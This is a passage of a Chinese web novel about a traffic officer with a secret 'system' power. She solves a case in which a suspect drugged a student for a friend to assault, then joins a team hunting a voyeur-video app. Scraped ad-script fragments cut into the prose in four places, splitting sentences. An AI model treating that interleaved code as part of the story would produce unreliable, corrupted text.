“刘虹之前来过我们酒店打工，长相不错，性格也比较软弱，而且还是个穷学生。我就给她打电话，问她要不要临时来做个兼职，给她介绍一个有钱朋友。不知道她是不是没听明白，反正当时刘虹答应了兼职。” “到了差不多约定的时间，我发信息让刘虹出来找我……因为怕她不听话，我给她准备了一杯加了料的饮料……” “刘虹喝了饮料，然后我带她去了二号副楼410。我当时和邓归帆说，让他完事之后告诉我，给我一点时间和刘虹沟通……” “但是到了第二天，邓归帆居然打电话告诉我，说刘虹从阳台掉下去了！然后还要求我去送刘虹去医院……” “他说完就挂电话了，我只好快速赶到酒店，带刘虹去医院。她上车的时候虽然状态不太好，但是她还活得好好的，就一直哭。” “我一边安慰她，一边开车。没想到半路她居然没有了声响，我才发现她好像没气了……” “然后我就急了，想赶紧去医院，没想到撞了人，自己也撞到路边了。我看到路边有交警来了，一时冲动，就把刘虹放驾驶座了……” “反正他们遇到车祸，也会给司机叫救护车。然后我就逃跑了。” 张同问：“那你今天怎么去找邓归帆了？” “……警察同志，我就是去找邓归帆要钱的。他本来应该早上醒来就叫我，让我去和刘虹谈的……现在刘虹跳楼死了，还连累了我，那当然应该赔偿我的损失了……没想到他不肯给钱，我推了他一下，他自己撞到桌子，然后转身捅了我一刀。” ………… 问完宋凯云，医生在一旁虎视眈眈，催促着让问话的众人离开，“问完就让病人休息吧，病人需要休养。” “好好好，现在就走，后面有其他问题，我们之后再来问。” 程昭一边走出病房，一边思考。 宋凯云说的也是实话，系统也标记了他说的内容。 但是，程昭感觉宋凯云和邓归帆，都有所隐瞒。 程昭看向张同、吴白，问：“宋凯云去找邓归帆的时候，身上带了什么？” 吴白看了一下手机的信息，说：“我们同事说，宋凯云身上只有钱包、钥匙、手机。” 程昭继续问：“那宋凯云和邓归帆的手机，我可以看看吗？” 吴白看了一下时间，点头说：“可以啊，回警局就可以看了。时间不早了，你现在去吗？” 程昭眨眨眼，也感觉有点饿了，但是明天再去警局太麻烦了。她说：“去吧，我看看才安心。” “行吧，我们陪你加一下班。” 张同开车，送了大家回警察局。 回到办公室，吴白在证物箱找出了两人的手机。 他把手机递给程昭，说：“来，你看吧，我们同事检查过，好像没有什么特殊发现。” 程昭接过装着手机的物证袋，然后隔着袋子查看手机内容。 她先看了邓归帆的手机。手机相册里面没有什么照片，但是程昭的事件收集器显示，照片的“最近删除”文件夹被人清空了。 果然还有点问题。 程昭皱着眉，胡乱地打开一个个APP，尝试触发系统的收集。终于，在打开一个浏览器的时候，发现邓归帆曾经登陆过一个论坛，还在论坛上面 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发了刘虹等多个女性的果照。 程昭不忍心细看，把邓归帆的手机推给吴白张同，然后继续查看宋凯云的手机。 宋凯云的相册，有一个照片被标记了关联，照片看起来是一个账号和密码。 程昭又继续一个个APP地打开查看，然后发现一个智能家居APP被标记关联。 程昭尝试输入照片上的账号和密码，然后顺利地登陆进去了。 这个账号关联了几个监控摄像头，程昭查看监控的历史记录，然后发现了其中一个摄像头，就是酒店副楼410，案发现场里面的画面。 程昭快速播放了一下，看到监控画面清晰地记录了邓归帆侵犯、偷拍的经过，刘虹清醒之后，邓归帆又对她继续施暴了一次…… 刘虹去阳台的卫生间换衣服，邓归帆好像听到了什么，跑过去打开了厕所门，和刘虹发生了争执…… 最后刘虹被他推到了阳台边缘，然后她和手机一起掉了下去。 程昭把宋凯云的手机推到吴白、张同面前，说：“宋凯云偷拍了邓归帆的视频，以此当做威胁的把柄。邓归帆也偷拍的受害者的照片，当成炫耀的战利品。这些他们都隐瞒了。” 张同皱着眉，“这两个家伙……居然还隐瞒了罪证。” 吴白十分惊讶，“程警官，你太厉害了吧。你怎么发现的？还是直觉？” 程昭干笑着说：“哈哈，是啊。” 张同站起来，和程昭握手说：“行，我们会继续追查的。等案件结案，我们会通知你的，十分谢谢你的帮忙。” 程昭谦虚道：“不用客气，这些证据你们迟早也会发现的。” 张同摇摇头，“话不是这样说的，你帮我们节省了很多时间精力……我们会把你的功劳，反馈给领导的。” 程昭笑着说：“好啊，谢谢你们。” ………… 程昭回到家，今天奔波了一天，但是结果还算令人满意，至少犯人都被捉住了，证据也找到了。 突然，电话响了，是周立言打了电话过来。 程昭接通电话：“喂，周队？” 周立言略带笑意的声音传入听筒，“是我，程昭，我刚刚听说了，你今天又立功了。” 程昭有点惊讶，“啊，你说刘虹死亡案吗？你居然听说了？” 周立言说：“因为二队的人和我们正在一起查窥视APP的案件。他们今天有两个人去查了另外的案件，没想到一天就基本查明了真相。他们队长和他们打电话，然后我们都听到了。” 程昭谦虚道：“案件今天刚发生不久，就被我遇到了，证据还没有被消除，所以就找得比较快。” 周立言说：“你太谦虚了，你查案很敏锐，比好多老警察还厉害。二队队长也问于山大队长，能不能挖你过去二队做刑警。” 程昭有点惊讶又有点纠结，“啊……” 周立言说：“于队也心动了，我也会继续和他说，争取把你挖到我们三队……你想去二队还是我们队？” 程昭笑了，“……当然是想跟着周队你啦。” 周立言轻笑一声，“很好，我继续努力。你早点休息吧，你应该累了一天了。” 程昭笑着说：“嗯，你也早点休息。” 挂了电话，程昭开心地躺在沙发上。 没想到，今天还有这样的意外收获，太好了。 38. 转岗调令 虽然周立言说，程昭转岗的机会很大，但是没有确切调令之前，她还是要老老实实完成交警的工作。 她其实也挺喜欢交警这份工作的，领导人不错，同事大部分挺友好，工作内容也比较简单。维护交通安全，也是很有意义的事。 刘虹案之后，程昭照常在交通部上班。 内勤的时候整理资料，处理违规违章问题。外勤的时候处理交通案件，维护秩序，捉违章违规问题。 最近这段时间，在外勤的时候，程昭凭借系统，发现了五个酒驾事件，两个被偷黑车，一个□□。因为发现得及时，问题车辆都被成功拦截，车主得到相应的处罚。 程昭感觉系统的事件收集器，触发事件灵敏了不少。 程昭有点疑惑，于是联系小五，询问了关于系统灵敏度的问题。 系统小五说：“事件收集的数量越多，系统和宿主的匹配程度会越高，所以宿主会感觉系统变得更灵敏。” 程昭乐了，“没想到完成事件收集任务，还有这样的好处。” 小五说：“本部目前在计划补充激励机制，给积极完成任务的宿主，发放相应的奖励……不过这部分内容还在开发，宿主可以期待一下。” 程昭眼睛都亮了，“那我之前完成的任务，会有奖励吗？” 小五回答：“宿主之前完成的任务，等奖励计划出来之后，系统也会补发相应的奖励的，所以宿主要多完成任务哦。” 程昭感觉自己充满了动力！ 本来她只是为了报答小五的救命之恩，所以才开始收集案件。 后来，她是体会到了破案的成就感和帮忙别人的快乐，所以想要利用系统，帮助警方解决案件。 没想到素材系统以后还会补充奖励机制。未来高科技世界，会拿什么东西当做奖励呢？程昭不禁十分期待。 ………… 刘虹死亡案，人证物证俱全，顺利结案，案件后来移交给检察院判决。 刑事二队如实和上级领导反馈了程昭的贡献，程昭的季度考核顺利评优，还得到了一笔小小的奖金。 庞达也照常大大地表扬了程昭，然后在私底下，询问了她是否有调岗的意向，“……警局那边好像有意把你调过去，还问了一下我的意见。我之前就觉得你在警局可以有更多的发挥空间，不过你在交通部也做得十分出色。无论你留下或者转岗，我这边是没问题的，就看你的意见。” 程昭感觉到，庞达并不是在说场面话。对于程昭是否要调岗，他确实都是真心实意的欢迎。 程昭感激地说：“如果我在其他交通队下面做事，其他那些领导估计不会像庞队您这么开明，肯定会批评我擅离职守、影响办案……” “无论领导们是否安排我调岗，我都十分感谢庞队你对我的支持……调岗的事，我的确对查案比较感兴趣。但是在交通科办事，我也十分开心。” 庞达也很看好程昭，做事积极又细心，发现问题又迅速。交通四队最近被上头领导表扬了几次，大部分也是因为程昭。 不过庞达也觉得，以程昭的能力，确实是去警局做事比较合适。她之前帮忙调查的案件，都解决得特别快。 一个案件解决得这么快，还可以说是运气。这么多个案件都解决得这么快，说明确实是有能力。 庞达笑着摆摆手，“嗯，你对案件线索的直觉很敏锐，在交通部确实是有点浪费才能。既然你愿意，我也愿意给警局输送人才……你和刑事三队和二队都合作过，有比较倾向的队伍吗？” 程昭被夸得微微脸红了，她摸摸鼻子，笑着说：“嗯，我和三队比较熟悉，周警官挺信任我。” 庞达点头，笑眯眯地说：“果然，听说三队的周立言已经问过于山几次了……于山的行事作风向来比较保守，这次和我打探意向，我都惊讶了。” 程昭不好意思地笑笑，“嗯，周警官和我合作过几次，他知道我很喜欢查案解决案子。” 庞达笑着说：“那很好，行，我会和于山警官说你的意向的。” ………… 庞达和程昭聊过之后，过了两天，程昭下班回到家，周立言给程昭打了电话。 周立言带着笑意的声音传入话筒：“程昭，你们领导和你聊过了？调岗的事，好像已经有眉目了。” 程昭说：“嗯嗯，庞队和我聊过了，问了我的意向。不过我不确定领导们最终意见是什么，就没和你说。” 周立言说：“放心吧，我已经听说了，上面的领导也没有有什么异议。按照以往的流程，应该过几天就有通知了。” 程昭笑着说：“希望我可以分到你的队里。” 周立言轻轻一笑，“我也很期待，可以和小神探一起共事。” ………… 又过了几天，程昭的调令确认下来了。下个月一号，刚好就是一月一号，程昭正式由一名交警转职成为一名刑警。 程昭的同事听说这件事之后，都感觉十分惊讶，又感觉很合乎情理。 同事们在背地里纷纷讨论。 同事A说：“程昭之前就被借过去帮忙了几次，她每次都很快就解决完案子回来了。被正式调过去，也是迟早的事。” 同事B说：“确实。就是不明白，程昭为什么一开始没直接去当警察。” 同事C说：“故事里面也有说啊，有的人经历过大变故，就会觉悟出不一样的能力。她之前不是差点就被撞死了吗，可能灵魂去过阎王殿，就开悟了。” 同事N：“……有道理，我以前村子，有个人也是……” 传言逐渐变得越来越有神秘色彩，不过大家也没真的相信，还拿来打趣程昭。 和程昭以前比较要好的孙敏敏，听说了传言，还特意发信息和程昭吐槽。 程昭也听说了，当时她的第一反应还有点震惊。传言某种程度上，其实说中了部分真相。毕竟，原主就是个普通人，经历生死，才会换成她这个芯子。 不过她看大家的反应，都是开玩笑的，没有人把传言当真。 庞达还请客，点了很多下午茶，和同事们一起，给程昭开了一个庆祝会。 “祝程昭逢案必破，步步高升！” “祝你前程似锦！” “逢案必破！” “交警神探显神威！” 同事们纷纷祝福程昭，连以前不服气程昭的老王，也真心实意地祝程昭前途似锦。 面对同事们的祝福，程昭很开心，感觉心里暖暖的。 程昭小脸通红，举起杯子敬大家，然后大声地说：“谢谢大家，我会继续努力，不会坠了交通四队的威名的。” “那必须的！” “加油！” ………… 妹妹程露回家，知道了姐姐下个月要去调岗做刑警，十分惊讶和兴奋。 “哇，姐，你好厉害啊！”程露兴奋地说，“以 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后我吹嘘你的探案能力，别人就不敢质疑我了！哈哈哈！” 吹嘘？ 程昭挑眉，“你在外面说我什么了？” 程露耸耸肩，“我没有乱吹牛，讲的都是真实事例。张雯雯也说你是神探。但是我同学知道你是交警，就不太相信我的话。” 程昭揉揉妹妹的头发，然后笑着说：“别人爱怎么说就怎么说吧，不用管他们。” 程露微微点头，然后好像想起了什么，靠过来和程昭说：“对了，我们快期末考试了，考完之后会有个家长会。” 对哦，程露学期末有家长会。 程昭姐妹的父母一年多以前去世了，程昭成了程露的监护人。 不过记忆里面，程昭还没有给程露去过家长会，因为当时程昭还没有大学毕业，学校离程露的学校太远了，赶不过去。所以程露都帮程昭，和老师请了假。 不过现在程昭已经工作了，和程露在同一个城市。家长会应该在她调岗之后，如果没什么意外，她应该可以请假。 程昭点点头，“家长会……什么时候？我到时候请假过去。” 程露有点犹豫，“但是你刚调岗过去，方便请假吗？” 程昭揽过妹妹的肩膀，笑着说：“我是你家长，我会想办法请假的。而且我领导是周队，他知道我们家的情况。家长会就请假几个小时，他肯定会同意的。当然了，前提是当时没遇到案件。” 程露有点犹豫又有点期待，她还是挺想要姐姐来听家长会的。 程露沉吟道：“周警官看着好冷淡好严肃……不过你和他比较熟悉……那到时候，家长会的时间确认了，我就通知你。如果你有案件要忙，我再和老师帮你请假吧。” 程昭笑眯眯地说着威胁的话，“嗯嗯，你的学业成绩，我会好好把关的。你在学校要好好学习，不要偷懒啊。不然成绩太差，我去家长会会很没面子的。” 程露叉腰，气鼓鼓地说：“哼，虽然我成绩没有张雯雯那么好，不过也没有太差。你就放心吧。” 程昭笑着戳戳妹妹气鼓鼓的脸蛋，“那我就期待你的好成绩了，让我在家长会里面威风威风。” 程露气势微泄，“呃……我尽力吧……” ………… 晚上，周立言给程昭发了信息：“新同事，请多多指教。” 程昭回复：“周队，请多多关照！” 周立言发来一段语音：“今天白天忙着案子，都没有及时和你调令的事……等你来了，我给你好好庆祝庆祝。” 程昭说：“你们还在忙窥视APP的案件吗？” 周立言微微叹了口气，“嗯，这个案件关联了好多个违法案件……等你来了就知道了，现在就先不告诉你了，先好好享受成功调岗的快乐吧。” 程昭回复了一个瑟瑟发抖的表情包。 周立言回复了一个奸笑的表情包。 然后周立言说：“好了，早点休息吧，我也要去找地方吃饭了。” 程昭有点惊讶，现在已经差不多十点了，“你还没有吃饭？” 周立言说：“是啊，一加班就容易忘记时间。” 程昭说：“那你快点去吃吧，很晚了。” 周立言说：“嗯，你也早点休息。” 程昭挠挠头，躺在沙发上，微微担忧自己未来会不会变成周队那样的加班狂人。 ……希望她不会错过妹妹的家长会，她才刚刚承诺完呢。 39. 报到 转岗之前的几天，程昭都没有太多工作安排，主要就是和同事交接手上的工作。 转岗的流程，早就在线上进行审批流转了。 因为程昭的情况比较特殊，于山之前就和审批节点的领导沟通过了，所以很快就审批通过了。 程昭只需要在报到日期，到警局上班就可以了。 侯远山等人知道了程昭要调过来，纷纷给程昭发来了欢迎短信，并且都隐约提到了正在侦办的窥视APP案件。 这个案件关联了很多个小案件，他们查案查得昏天暗地，痛不欲生，加班加得头发都掉了不少。 侯远山说：“……总之，快点来搭救我们吧，我们已经加班几个星期了。” 程昭不禁感觉到一丝丝的压力。不过，系统小五反而觉得有点可惜。 小五叹息：“可惜那些侦办完的小案……如果你早点调过去，应该就都能收集到。” 程昭微微黑线，系统小五越来越有奴隶主的气质了。 她上辈子疯狂打工是为了快点还债，她不是真的那么喜欢加班干活啊！ 如果可以，她希望每天都能正常工作、正常下班。加班什么的，能少则少吧。 周立言听说了侯远山等人和程昭抱怨过最近加班的事，还特意发信息安抚她，“……别太紧张，我们就最近加班得比较频繁。没案子的时候，我们都很少会加班的。” 周立言的安抚之词并没有什么效果，因为他的工作狂的名声，早就被侯远山孙泽林传播开来了。 不过周立言一般都是自己加班，很少要求别人一起加班干活，所以程昭还是比较放心的。 ………… 时间很快就到了一月一号，程昭起了一个大早，准备早点去市局报到。 周立言发了短信过来，“程昭你出门了吗？要不要跟我的车一起去上班？” 程昭心动了，挤地铁去市局，大概要四十几分钟，而且要步行一段路。如果可以搭周立言的顺风车，不塞车的话，十几二十分钟就到了。 但是现在周立言是她的领导了，蹭领导的车去上班，程昭莫名地感觉有点小压力。 程昭挠挠头，回复：“会不会不方便？” “有什么不方便的，反正顺路。” “也对……那就谢谢周队了！我们几点出发？” “我八点过来接你？” “好。” 既然可以蹭周立言的顺风车，程昭的时间又宽裕了一些。洗漱完，稍微化了个淡妆，换好衣服，程昭快速地做了两份早餐三文治，煮了一大壶的咖啡。打包好食物和咖啡，程昭提早十分钟到了小区门口。 没想到她刚到门口，就看到周立言的车了。 程昭上车，不好意思地问：“周队，你来很久了吗？” 周立言笑着摇摇头，“是我早出门了一点点，我也是刚刚到的……好香啊，你做了早餐？” 程昭举起手上的食品袋和大水壶，笑着说：“没错~因为不用坐地铁，时间比较充裕，所以我做了三文治和咖啡。咖啡准备得比较多，可以分点给其他人。三明治只做了我和你的份。” “我这个顺风车司机也太有口福了，”周立言想起上次的三文治，都馋到侯远山了，于是建议说，“现在时间还比较多，你吃了没？我们在车上吃了再出发？” 程昭本来也想问的，现在周立言提出来，她当然没问题了，“好啊，我刚刚也想问你来着。” 程昭递给周立言一个大一点的三文治，说：“今天的是芝士火腿三文治，本来想放酸黄瓜酱的，但是怕你不吃就没放。” 周立言想起以前不小心吃到的酸黄瓜，脸上浮现迟疑之色，“酸黄瓜……我以前不小心吃到过几次。有一次觉得挺好吃，但是更多时候是觉得太酸了，味道好奇怪……” “如果你感兴趣，我下次可以用小碟子给你装一点，你可以沾一点试试味道。我这次买到的，味道不太酸，加点沙拉酱，吃起来挺清爽的。” “好啊，下次试试。”周立言率先打开纸袋，吃了一口三文治，感觉有点被惊艳到了。面包绵软Q弹，微微融化的的芝士，几层冰凉的火腿，他感觉这次的三文治比上一次的，口感更好吃。 周立言看向程昭，“感觉这次的面包，比上次的还要好吃。口感好特别。” 程昭得意地笑了，“因为这次你吃得及时……面包我特殊处理过的，放蒸锅蒸了几分钟，面包复热就会特别软，但是放凉了就不明显了。” 周立言很自然地定下了，下次甚至是以后的出行计划，“那以后下次我们也在车子里面，先吃了再出发。” 程昭也没觉得有什么问题，爽快地点头答应了，“好啊，你想吃什么，也可以提前和我说。” 两人吃完了早餐，出发前往警局。 时间还早，小队其他人还没有回到办公室。 周立言陪程昭去领了警服，以及伸缩警棍之类的防身装备。 程昭好奇地看了一眼里面的枪械，又看了看自己领到的装备。 周立言解释说：“我们申请配枪需要先完成一些课程和考试，你以后抽时间，在工作APP里面报一下课。没申请到配枪，要出任务的时候，你要跟着有配武器的队员一起行动，我会看着给你安排的。” 程昭点头，“好的。” 因为他们队平时不需要穿制服，所以程昭也没去换制服。 两人直接回到了办公室，这时候大家也陆续回来了。 乔良笑着和程昭打招呼，“早啊，程昭。” 侯远山笑着打趣道，“早上好啊，新同事。” 程昭挠挠头，笑着说：“大家早上好，我是新队员程昭，请大家以后多多指教。” 程昭一边说一边回到座位，拿出早上做好的咖啡，“这是我早上煮的咖啡，大家想喝的话可以自己倒。这个水壶放茶水间？” 侯远山直接端着杯子走过来，说：“哇，有咖啡啊，太好了，给我来一点……谢谢了，昨天又加班了，我现在还有点犯困。” 其他人也纷纷拿了杯子过来，水壶里面的咖啡，两下就所剩无几了。 孙泽林尝了一口，细细品味了一会，感叹道：“好喝，比茶水间的速溶咖啡好喝太多了……” 陈丰喝几口，也跟着点点头。 周立言拿起水壶，给大家又分了一些， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 直接分完了，“好了，这样就不用放茶水间了，免得被其他组拿错了喝了。” “哈哈哈，对对对……特别是二队的人，过来开会又吃我们的零食，特别是周队买的进口货。”侯远山笑着说。 周立言摇摇头，“那些零食就算了，现在咖啡比较紧缺。最近加班频繁……迟些我研究研究，给大家买个咖啡机和买一些咖啡豆。你们有推荐的，可以和我说。” 乔良举了一下杯子，笑着摇摇头，“周队你太破费了，你工资都拿来请我们吃吃喝喝了。” 周立言说：“不至于，而且我自己也用得上……最近大家确实是辛苦了，等这系列的案件结束，我看看经费，请大家吃大餐。” “哇，又咖啡机又大餐……” “我又有动力加班了，哈哈哈。” 周立言拿起水壶，去茶水间准备冲洗，“好了，大家先忙手上的工作吧……程昭等一下我，我等会给你讲一下现在的情况。” “啊，让我来吧……”程昭想要拿水壶。 周立言轻柔而坚定地挡了一下，“这种小事，就没必要抢了，等下还有很多工作要做。” ………… 周立言给程昭发了几份文件，其中里面有一份表格，上面列着和这个视频平台相关的案件。 周立言指了一下表格，沉声说：“现在我们侦办这个案件，已经成立了专案组，人员主要组成是我们的刑事二队、刑事三队、技术部的同事，然后还有一些其他市警局的人……” “目前侦查分成两部分，第一是查视频平台背后的势力，第二是查视频相关的案件……” “第一部分，难度在于我们要在不惊动对方的情况下，去查这个视频平台。目前我们对服务器所在地、软件开发公司、运营人员，已经有了一些推测。但是因为我们需要查第二部分的案件，所以只能先让这个平台再运行一段时间，以免惊动了各个视频相关案件的嫌疑人……” “第二部分，这个平台目前已经运行了七个月，里面已经有两千多个用户，上传了大约两万多套视频和照片……我们技术员通过一些技术，筛选过滤了一些重复的，和一些网络低俗视频图片合成的。然后再经过我们刑事科的同事对比核实，最后整理了大概三千个案件。” “这么多！？”程昭十分震惊，关联的案件居然有这么多。这要查到何年何月，才能查完啊！ 周立言叹了一口气，“是啊，确实很多，不过相对值得庆幸的是，大部分案件都是比较轻微的犯罪。而且平台的奖励机制，让很多用户都绑定的银行卡，方便了我们确认嫌疑人。” 周立言打开了其中一个表格，说：“我们把案件按严重程度划分等级排序，严重程度较高的案件，目前嫌疑人身份等关键信息已经确认得差不多了……等平台的相关人物被拿下，视频相关案件的嫌疑人也可以派人去捉拿。” 密密麻麻的表格内容，程昭感觉有点眼花缭乱。 她揉了揉眼睛，问：“那我现在需要先做什么？有什么小案件分配给我去查吗？” 周立言微微一笑，“小案件先不急，我们想用你的‘第六感’，来查一下第一部分的案件。” 40. 地点和嫌疑人 “第一部分？你是说，窥视APP背后的主谋？”程昭看向周立言，“我们现在掌握了什么线索？” 周立言打开了另一个文件，翻到某一页，沉声说：“技术部通过网络技术，追查这个APP。这个APP的访问地址，经过了很多层的伪装和跳转，有的甚至是外国的地址，技术部花了很多时间和功夫，最终确定了三个最可能的地址。” 程昭微微皱眉，快速查看了文件内容，“大学城附近的居民区，IT蓝天创业园，CBD高级写字楼……这三个地址都是在A市？” 周立言点头，“是的，而且只能确定大概的范围，不能确定具体的哪一栋楼，或者哪一层楼。这些地方我们有派人去附近查看过，这几个地方的人流量都比较密集，而且进出通道很多。特别是大学城附近的居民区，楼房密集，白天夜晚都很多人。如果我们大规模出动搜捕，很难不被对方发现。” 程昭皱眉托腮，“如果被对方发现，就可能功亏一篑了。” 周立言说：“是啊，我们的目标是找到视频平台背后的人，如果被他们发现警方已经查到他们了，这些人四散逃窜，我们很难一一确定他们的身份。” 程昭看向周立言，“难道目前对方的身份，什么线索都没有吗？” 周立言给程昭打开了嫌疑人文件，上面有一个目录，周立言点开了开发者的章节，上面列着十几个人的介绍信息。 周立言手指点了一下文件里面的几段内容，说：“关于程序的设计者，我们有一些推测的嫌疑人，其中嫌疑最大的是这个李聪。” 程昭看向这个李聪的介绍资料：李聪，C市人，35岁，高级程序员，他曾经因为参与赌博网页开发，坐了两年监狱。 他在两年前出狱，曾经做过一段时间的零工散工。后来又找到了程序员的工作，但是很快又离职了。一年前不知去向了一段时间，半年前回过老家，还出钱给父母盖了新房子。对外宣称是跟了老板做生意，赚了点钱，衣锦还乡。 程昭一边查看资料，一边留意系统的事件收集器，“恶意的拍摄”事件概述和信息关联表，都在快速地刷新。 刚刚讨论过的服务器地点，大学城附近居民区被标记为关联。 程昭上网搜了大学城周边的地图，想要看看，系统能不能直接显示服务器的具体地点。可惜的是，系统没有直接给出具体的地点。 程昭暗暗叹气，可惜不能走直径。看来需要多一些信息，才可以确定具体地点……如果她去那附近逛逛，不知道能不能触发信息收集…… 再看关联人物，刚刚周立言提及的李聪，也被系统标记关联了，他确实是开发者之一。 警方文件里面还有两个嫌疑人方博、张平威，也被标记了关联，不过关联程度在李聪之下。 方博，25岁，A市人，程序员，大学时期曾欠下大额网贷，工作后依然无力还债，在工作场所和催收人员发生冲突，公司报警并且事后辞退了方博。一年前，方博隐匿了一段时间，后来还清了当年欠下的债务。 张平威，28岁，C市人，程序员，曾被骗到传销组织，传销组织被警方瓦解后，频繁更换工作，一年前失去了踪影。 这几个人，最大的相同点，貌似就是都在一年前消失过。 这个窥视APP上线运行了七个月，这几个人一年前被集合到一起开发软件，也说得通。 方博的经历和李聪的也很相似，都在消失之后变有钱了。 张平威和李聪是同一个市的人，然后都在A市工作过，说不定他们之前就认识。 不过程昭没有贸然提出这两个人很可疑，他们的关联目前有点太薄弱了。再收集一些信息，再提出也不迟。 程昭看向周立言，“你们怀疑李聪，是有什么依据吗？” 周立言补充说：“技术部通过一些方法，破解了APP的代码。有个技术员曾经参与过李聪当年那个赌博网站案件的侦办，接触过他写的代码，技术员说窥视APP的部分代码，一些注释和方法和李聪的很相似，所以我们就重点怀疑李聪。技术部分析，这个APP的开发者不止一个人。” “除了李聪，目前还有什么和视频平台有关联的嫌疑人吗？” 周立言点头，打开了嫌疑人文件的另一个章节--运营推广，上面同样列着一些人的信息，不过大多数是网名，真实身份写着未知。 周立言说：“视频平台用户里面，有几个人和盗窃案王智一样，因为其他案件，之前被警方抓捕了。我们接触了那些人，问出了给他们推广APP的人。不过这些推广员大多数都是以网友身份出现的，所以只知道对方的游戏ID。” 程昭快速查看了推广员列表，发现大多数账号的名字都没有什么规律，甚至有一些账号是买来的账号。文件上还写着，游戏账号实名绑定的身份证，很多都是老年人的身份证号，怀疑是盗用别人的身份证填的。 不过，其中一个游戏账号，程昭莫名地感到眼熟。 江湖online，“神算子258”。 奇怪了，她也没玩过这个游戏，怎么会感觉有点熟悉呢…… 程昭看了一下系统，系统只是把这些推广员账号都标记了相关，这个神算子258的账号混在其中，好像没有什么特别。 程昭努力回想，她一开始以为是原主有玩过网游，遇到过名字差不多的网友。毕竟这种网名应该挺烂大街的。 但是原主以前玩的也不多，更没有玩过江湖online的游戏。 程昭苦思冥想，终于在记忆深处，回想起了一个小片段--上辈子穿越之前，没看完的那本龙傲天小说，男主韩高煊结识了一个游戏网友“神算子147”，从而了解和接触到代号为“KL”的地下组织，最后得到KL组织的青睐赏识，被邀请加入。韩高煊便从青木帮，跳槽到了势力更大更神秘的KL组织。 那个“神算子147”玩的游戏不是江湖online，而且名字里面的数字后缀不一样，怪不得系统没有标记这段记忆。 不过程昭回忆起来之后，系统也标记了，这个窥视APP，背后的势力的确就是KL组织。 窥视APP案这样的展开，是程昭始料未及的。她又一次后悔，自己当初没有把小说看完。 她只知道韩高煊跳槽到了一个神秘的地下组织，但是不清楚这个组织到底做了什么经营。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>不过现在后悔也来不及，只能见步行步，见招拆招。 程昭思考发呆的时间有点久了，周立言看到她在苦思冥想，也没有打断她沉思，反而坐在旁边等她思考完。 看到程昭脸色变幻渐渐平复，周立言轻笑一声，“怎么样？你想到了什么吗？” 程昭不好意思地捋捋耳边的头发，“不好意思，我想东西太入神了……” 推广员和KL组织有关联的事，程昭没有任何证据证明，自然是不能提前说的。 但是大学城附近居民区和方博、张平威，虽然依据不太多，但是也勉强可以拿出来讨论。 她发呆思考了这么久，说什么也没想，那就太尴尬了。 程昭重新打开了地点推测的文件，说：“这几个地点，我感觉大学城附近居民区，更可疑一点。居民区人员复杂，白天晚上都可以留人看守……” “另外两个地点，下班之后就很少人了。他们做这种违法平台的，应该会比较谨慎，需要时刻监控场地，有人来检查便毁坏机器然后逃跑。” 周立言微微点头，说：“我们也考虑过这点，但是大学城附近居民区范围太大了，大学城周边有好几个小区和城中村，我们的人不敢太明显地查探。” 程昭正想找机会到现场看看，便自告奋勇说：“下次查探，可以带上我吗？我会化妆仿妆，可以假装成大学生在周围找房子。” 周立言看了看程昭，她其实不化妆也和大学生差不多了，娃娃脸显年轻，英气的眉眼很有活力。 他说：“可以啊，你直接装大学生也不违和……到时候再找远山或者泽林和你一起去，他们显年轻一点，换个造型，也可以假装一下学生。” 程昭笑着说：“我化妆很厉害的，把你或者陈丰假装成大学生都没问题哦。” 周围的同事听到程昭、周立言的谈话，不约而同地看了过来。 大家疑惑地看了看程昭，又看了看周立言和陈丰。 周队年纪也不大，好像还没有三十岁，勉强装大学生也行，就是有点太成熟太帅气了……但是陈丰？陈丰又黑又高又壮，不说话就是个肌肉大汉，说话就是个憨厚大哥，假装成大学生，实在是太难以想象了！ 侯远山直接开口问了，“程昭，你说的是真的假的？周队假装大学生都很勉强了，陈丰怎么假装啊？” 陈丰摆摆手，憨憨地笑着说：“哈哈哈，我上大学的时候，还有人以为我是家长呢。我怎么假装成大学生啊，太显眼了。” 程昭见大家都很感兴趣，便翻了一下包包，今天刚好有带简易的化妆包补妆，里面工具不多，但是也足够用了。 程昭拿出化妆包，笑着说：“不信的话，我可以现场给陈丰化个妆，让你们看看，男大版的陈丰。” 侯远山、孙泽林纷纷起哄，“化一个，化一个！” 乔良和周立言也颇有兴趣地走过来围观。 陈丰爽快地笑着说：“好啊，来吧，给我化一个看看。真那么显年轻的话，我就不洗脸了，下班就找我女神约会去。” “好啊，没问题，包你满意。”程昭找了个位置，让陈丰坐下，仔细观察了陈丰的五官，然后开始动手。 41. 化妆术 陈丰差不多一米九的个子，骨骼也比较大，肌肉线条明显，整体看起来很壮。 他的长相比较钝，颧骨比较明显，鼻梁挺高，鼻头偏大，眉毛太粗太黑，眼睛不大，嘴唇偏薄。皮肤偏黑偏黄，毛孔比较明显。五官比例看起来，中庭偏长。整体看起来，就是个很粗糙很大叔。 据说陈丰才31岁，但是看起来好像差不多40岁。所以他说他读书时候，被人误以为是学生家长，大家都可以想象那个画面。 程昭观察完陈丰的相貌，想好了给他化妆的思路，然后开始动手。 陈丰的眉毛太浓太粗了，有点压眼睛，显得他眼睛很小。程昭问过陈丰：“陈哥，介不介意我给你修一下眉毛？” 陈丰：“你看着给我弄，不要剃光就行。” 程昭笑着说：“放心，绝对不会。” 程昭把多余的眉毛，用修眉刀刮掉，又把长得太长的眉毛剪掉了一点。陈丰的眉毛立刻变清秀了很多，气质也没有那么粗犷了。 程昭让陈丰去清洗一下脸部，然后给他做基础的清洁保湿。 接着，程昭先给他涂了一层隔离霜，让他的皮肤看起来没有那么粗糙。 程昭用的粉底，对于陈丰来说太白了。所以程昭用口红、眼影，混入粉底液，调出适合陈丰的粉底色号。然后又给他调整了肤色，涂了遮瑕。 换了眉毛，上完底妆，陈丰看起来已经年轻了很多，二十几岁的样子，但是装大学生，还是有点明显。 